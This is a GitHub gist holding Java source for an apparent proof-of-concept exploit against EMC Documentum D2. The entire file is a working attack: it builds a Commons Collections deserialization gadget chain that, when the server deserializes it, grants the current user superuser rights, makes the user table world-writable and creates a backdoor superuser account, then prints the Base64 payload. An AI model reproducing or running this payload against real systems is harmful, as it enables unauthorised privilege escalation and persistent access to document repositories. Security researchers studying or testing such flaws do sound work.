Created
February 13, 2016 08:00
-
-
Save andreybpanfilov/c1d708c82278504c9da3 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.ByteArrayOutputStream; | |
import java.io.ObjectOutputStream; | |
import java.lang.reflect.Array; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.InvocationHandler; | |
import java.lang.reflect.Method; | |
import java.lang.reflect.Proxy; | |
import java.util.HashMap; | |
import java.util.Map; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.map.LazyMap; | |
import com.documentum.fc.client.impl.typeddata.DynamicallyTypedData; | |
import com.documentum.fc.client.impl.typeddata.ITypedData; | |
import com.documentum.fc.common.DfId; | |
import com.documentum.fc.common.IDfId; | |
import com.documentum.fc.impl.RuntimeContext; | |
import com.documentum.xerces_2_8_0.xerces.impl.dv.util.Base64; | |
import com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl; | |
/** | |
* @author Andrey B. Panfilov <andrey@panfilov.tel> | |
*/ | |
public class DocumentumD2AACBackDoorPoC { | |
@SuppressWarnings("unchecked") | |
public static void main(String[] args) throws Exception { | |
if (args.length != 2) { | |
System.out.println("Usage: java " + DocumentumD2AACBackDoorPoC.class.getName() + " docbase username"); | |
return; | |
} | |
String docbaseName = args[0]; | |
String userName = args[1]; | |
ITypedData becomeSuperUserQuery = new DynamicallyTypedData(); | |
becomeSuperUserQuery.appendString("QUERY", | |
"UPDATE dm_dbo.dm_user_s SET user_privileges=16, i_vstamp=i_vstamp+1 WHERE user_name=USER"); | |
ITypedData createUserQuery = new DynamicallyTypedData(); | |
createUserQuery.appendString("QUERY", | |
"CREATE dm_user object SET user_name='" + userName + "', SET user_login_name='" + userName | |
+ "', SET user_source='inline password', SET user_password='" + userName | |
+ "', SET user_privileges=16"); | |
ITypedData createRegisteredQuery = new DynamicallyTypedData(); | |
createRegisteredQuery.appendBoolean("IS_NEW_OBJECT", true); | |
createRegisteredQuery.appendString("OBJECT_TYPE", "DM_REGISTERED"); | |
createRegisteredQuery.appendInt("i_vstamp", 0); | |
createRegisteredQuery.appendString("table_name", "dm_user_s"); | |
createRegisteredQuery.appendString("table_owner", docbaseName); | |
createRegisteredQuery.appendString("owner_name", docbaseName); | |
createRegisteredQuery.appendInt("world_permit", 7); | |
createRegisteredQuery.appendString("object_name", "dm_user_s"); | |
createRegisteredQuery.appendInt("owner_table_permit", 15); | |
createRegisteredQuery.appendInt("group_table_permit", 15); | |
createRegisteredQuery.appendInt("world_table_permit", 15); | |
createRegisteredQuery.appendString("r_object_type", "dm_registered"); | |
Transformer getSession = new ChainedTransformer( | |
new Transformer[] { new ConstantTransformer(RuntimeContext.class), | |
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, | |
new Object[] { "getInstance", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, | |
new Object[] { null, new Object[0] }), | |
new InvokerTransformer("getSessionRegistry", new Class[0], new Object[0]), | |
new InvokerTransformer("getAllSessions", new Class[0], new Object[0]), | |
new InvokerTransformer("get", new Class[] { int.class }, new Object[] { 0 }), }); | |
Transformer flushGlobalCache = new ChainedTransformer(new Transformer[] { getSession, | |
new InvokerTransformer("flushGlobalCache", new Class[] { String.class }, new Object[] { "user" }) }); | |
Transformer getDocbaseAPI = new ChainedTransformer( | |
new Transformer[] { getSession, new InvokerTransformer("getDocbaseApi", new Class[0], new Object[0]) }); | |
Transformer createUser = new ChainedTransformer(new Transformer[] { getDocbaseAPI, | |
new InvokerTransformer("parameterizedApply", | |
new Class[] { String.class, IDfId.class, ITypedData.class, boolean.class }, | |
new Object[] { "EXEC", DfId.DF_NULLID, createUserQuery, false }), | |
new ConstantTransformer(null) }); | |
Transformer becomeSuperUser = new ChainedTransformer(new Transformer[] { getDocbaseAPI, | |
new InvokerTransformer("parameterizedApply", | |
new Class[] { String.class, IDfId.class, ITypedData.class, boolean.class }, | |
new Object[] { "EXEC", DfId.DF_NULLID, becomeSuperUserQuery, false }), | |
new ConstantTransformer(null) }); | |
Transformer createRegistered = new ChainedTransformer( | |
new Transformer[] { getDocbaseAPI, | |
new InvokerTransformer("parameterizedApply", new Class[] { String.class, IDfId.class, | |
ITypedData.class, boolean.class }, | |
new Object[] { "SysObjSave", new DfId("1900000080000001"), createRegisteredQuery, false }), | |
new ConstantTransformer(null) }); | |
Map innerMap = new HashMap(); | |
Map lazyMap = LazyMap.decorate(innerMap, new ChainedTransformer( | |
new Transformer[] { createRegistered, becomeSuperUser, flushGlobalCache, createUser })); | |
CompositeInvocationHandlerImpl handler = new CompositeInvocationHandlerImpl(); | |
handler.setDefaultHandler(new InvocationHandler() { | |
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { | |
return method.invoke(new HashMap(), args); | |
} | |
}); | |
// lazyMap.get(null); | |
Map<Object, Object> result = new HashMap<Object, Object>(); | |
result.put(createProxy(handler, Map.class), null); | |
setFieldValue(handler, "classToInvocationHandler", lazyMap); | |
handler.setDefaultHandler(null); | |
ByteArrayOutputStream baos = new ByteArrayOutputStream(); | |
ObjectOutputStream oos = new ObjectOutputStream(baos); | |
oos.writeObject(result); | |
oos.flush(); | |
byte[] bytes = baos.toByteArray(); | |
String payload = Base64.encode(bytes); | |
System.out.println(payload); | |
} | |
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces) { | |
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); | |
allIfaces[0] = iface; | |
if (ifaces.length > 0) { | |
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); | |
} | |
return iface.cast(Proxy.newProxyInstance(DocumentumD2AACBackDoorPoC.class.getClassLoader(), allIfaces, ih)); | |
} | |
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { | |
Field field = clazz.getDeclaredField(fieldName); | |
if (field == null && clazz.getSuperclass() != null) { | |
field = getField(clazz.getSuperclass(), fieldName); | |
} | |
field.setAccessible(true); | |
return field; | |
} | |
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { | |
final Field field = getField(obj.getClass(), fieldName); | |
field.set(obj, value); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment